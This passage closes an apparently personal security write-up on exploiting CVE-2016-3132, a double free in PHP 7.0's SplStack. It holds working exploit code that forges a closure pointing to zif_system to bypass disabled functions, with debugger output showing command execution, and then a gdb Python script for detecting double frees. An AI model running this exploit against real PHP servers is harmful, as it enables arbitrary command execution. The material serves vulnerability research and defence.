    print "[+] \$helper->b point to: 0x" . dechex($real_helper_b) ."\n";

    # Creating a copy of $helper->b (zend_closure) further in memory.
    $fake_zend_closure = $elt50th + 0x18 + 0x400;
    print "[+] Creating fake zend_closure at: 0x" . dechex($fake_zend_closure) ."\n";
    for($i = 0; $i < 0x128; $i += 8) {
        write($overlapped, 0x400 + $i, leak_through_len($real_helper_b, $i));
    }

    # Overwriting fake zend_closure type and handler.
    write($overlapped, 0x400 + 0x38, 1, 4);
    print "[+] Overwriting fake zend_closure's handler with zif_system.\n";
    write($overlapped, 0x400 + 0x68, $zif_system);

    # Overwriting $helper->b pointer with address of $fake_zend_closure.
    print "[+] Overwriting \$helper->b pointer with address of \$fake_zend_closure.\n";
    write($overlapped, $relative_offset, $fake_zend_closure);

    if ($DEBUG) {
        var_dump($helper);
    }
    print "[+] Triggering system.\n";
    ($helper->b)("id");
    exit();
}

set_exception_handler('exception_handler');

// Create a SplStack object because
// SplStack extends SplDoublyLinkedList.
$bug = new SplStack();

// Massage the heap.
$heap_massage = array();
for ($i=0; $i<100; $i++) {
    $heap_massage[$i] = new SplFixedArray(5);
}

// Make a hole in the heap.
unset($heap_massage[50]);

// Allocate the new SplFixedArray object to previously
// freed space (50th). And double free this newly created
// object. this will trigger an exception catch by
// exception_handler() function.
$bug->offsetSet(0, new SplFixedArray);
?>

Result:

Starting program: <HIDDEN>/bin/php-7.0.1-main -c php.ini CVE-2016-3132_4_bypass_disabled_functions.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Leaking heap address: 0x7ffff5895850 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7ffff5895890
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7ffff5895820
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7ffff5895770
[+] Creating fake zend_reference at: 0x7ffff5895988
[*] $helper is at: 0x7ffff58957e0
[+] Overwriting $helper first property address and type (from integer to ressource).
[+] $helper's handlers is at: 0x555555ecd820
[+] Binary leak at: 0x5555559307a0
[+] Binary base is at: 0x555555554000
[+] ELF header is at: 0x555555e423b0
[+] basic_functions_module->functions start at: 0x555555ebfb00
[+] zif_system is at: 0x555555847c00
[+] $helper->b point to: 0x7ffff585cc80
[+] Creating fake zend_closure at: 0x7ffff5895b88
[+] Overwriting fake zend_closure's handler with zif_system.
[+] Overwriting $helper->b pointer with address of $fake_zend_closure.
[+] Triggering system.
[Detaching after vfork from child process 5972]
uid=1000(user) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),113(bluetooth),118(scanner)

Program received signal SIGSEGV, Segmentation fault.
0x0000555555934a61 in zend_objects_store_call_destructors (objects=objects@entry=0x555555ef2dd0 <executor_globals+816>) at /home/user/Documents/php-src/Zend/zend_objects_API.c:57
57						obj->handlers->dtor_obj(obj);

Thanks to you for reading, thanks to all the people who worked on memory exploitation in PHP and documented it online.


UPDATE 2022-02-28:

Detect double free automaticaly

I coded a small Python script to use within gdb to automatically detect double free in PHP. The code is disgusting because i’m parsing gdb commands output, but it works properly. The script will actually scan each free list and identify if an address is present twice, which should not be the case except in the case of a double free.

File: double_free_detector.py

gdb.execute("set print pretty on")


class ViewHeapFreeSlot (gdb.Command):
    def __init__(self, external=0):
        self.external = external
        super(ViewHeapFreeSlot, self).__init__(
            "view_heap_free_slot", gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)

    # Name: find_mm_heap
    # Description: Recover zend_mm_heap's address.
    # Return: (string) zend_mm_heap
    def find_mm_heap(self):
        result = gdb.parse_and_eval("zend_mm_get_heap()")
        zend_mm_heap = result
        if self.external == 0:
            print(f"[i]: zend_mm_heap: {zend_mm_heap}")
        return zend_mm_heap

    # Name: free_slots_len
    # Description: Return the number of bins in
    #              zend_mm_heap->free_slot's address.
    # Return: (int) number_of_slot
    def free_slots_len(self, zend_mm_heap):
        # Calculating len of zend_mm_heap->free_slot.
        result = gdb.execute(
            f"print &((zend_mm_heap)*{zend_mm_heap})->free_slot", to_string=True)
        zend_mm_heap_free_slot = result.split(" ")[-1].rstrip()
        if self.external == 0:
            print(f"[i]: zend_mm_heap->free_slot: {zend_mm_heap_free_slot}")
        # Method a.
        len_a = int(result.split("[")[1].split("]")[0])
        # Method b.
        result = gdb.execute(
            f"call sizeof(((zend_mm_heap)*{zend_mm_heap})->free_slot) / sizeof(zend_mm_free_slot)", to_string=True)
        len_b = int(result.split(" ")[2].rstrip("\n"), 16)
        # Comparing the results of the two differents methods.
        if len_a == len_b:
            if self.external == 0:
                print(f"[i]: zend_heap->free_slot's len parsed correctly")
            number_of_slot = len_a
        else:
            print(f"[DEBUG]: Error while parsing zend_heap->free_slot's len")
        return number_of_slot

    # Name: find_mm_heap_bins
    # Description: Recover first element's address of each
    #              bin and store the result in an array.
    # Return: (array) bins
    def find_mm_heap_bins(self):
        zend_mm_heap = self.find_mm_heap()
        zend_mm_heap_free_slot_len = self.free_slots_len(zend_mm_heap)
        bins = []
        for i in range(zend_mm_heap_free_slot_len):
            result = gdb.execute(
                f"print ((zend_mm_heap)*{zend_mm_heap})->free_slot[{i}]", to_string=True)
            bins.append(result.split(" ")[-1].rstrip())
        return bins

    # Name: invoke
    # Description: Print in a nice view the address
    #              of the first element of each bin.
    # Return: (array) bins
    def invoke(self, arg, from_tty):
        bins = self.find_mm_heap_bins()
        if self.external == 0:
            for i in range(len(bins)):
                min = ((i*8)+1)
                max = ((i+1)*8)
                print(f"[*]: bin {i} of object of size: {min}({hex(min)})-{max}({hex(max)}) at {bins[i]}")
        return bins


class ExploreBinManualy (gdb.Command):
    def __init__(self):
        super(ExploreBinManualy, self).__init__(
            "explore_bin_manualy", gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)

    def invoke(self, arg, from_tty):
        print('Enter the bin to explore:')
        self.bin = int(input("> "))

        bins = ViewHeapFreeSlot(external=1).find_mm_heap_bins()
        nexts = [bins[self.bin]]
        condition = 0
        while(not condition):
            result = gdb.execute(
                f"print (zend_mm_free_slot)*{nexts[-1]}", to_string=True)
            next = result.split("=")[2].split(" ")[1].split("\n")[0]

            # If we reched the end of the simple
            # linked list we break from the while loop.
            if next == "0x0":
                break

            # Detection of double free.
            if next in nexts:
                min, max = ((self.bin*8)+1), ((self.bin+1)*8)
                print(
                    f"[+] Double free detected: bin {self.bin} from size {min} ({hex(min)}) to size {max} ({hex(max)}) on: {next}")
                break
            nexts.append(next)
        print(nexts)


class DoubleFreeDetection (gdb.Command):
    def __init__(self):
        super(DoubleFreeDetection, self).__init__("detect_double_free",
                                                  gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)

    def invoke(self, arg, from_tty):
        bins = ViewHeapFreeSlot(external=1).find_mm_heap_bins()
        for i in range(len(bins)):
            try:
                nexts = [bins[i]]
                condition = 0
                while(not condition):
                    result = gdb.execute(
                        f"print (zend_mm_free_slot)*{nexts[-1]}", to_string=True)
                    next = result.split("=")[2].split(" ")[1].split("\n")[0]

                    # If we reched the end of the simple
                    # linked list we break from the while loop.
                    if next == "0x0":
                        break

                    # Detection of double free.
                    if next in nexts:
                        min, max = ((i*8)+1), ((i+1)*8)
                        print(
                            f"[+] Double free detected: bin {i} from size {min} ({hex(min)}) to size {max} ({hex(max)}) on: {next}")
                        break
                    nexts.append(next)
            except Exception as e:
                pass


ViewHeapFreeSlot(external=0)
ExploreBinManualy()
DoubleFreeDetection()

The following GIF illustrates it in action.


Resources

Here is the list of resources I have read to achieve this 1day: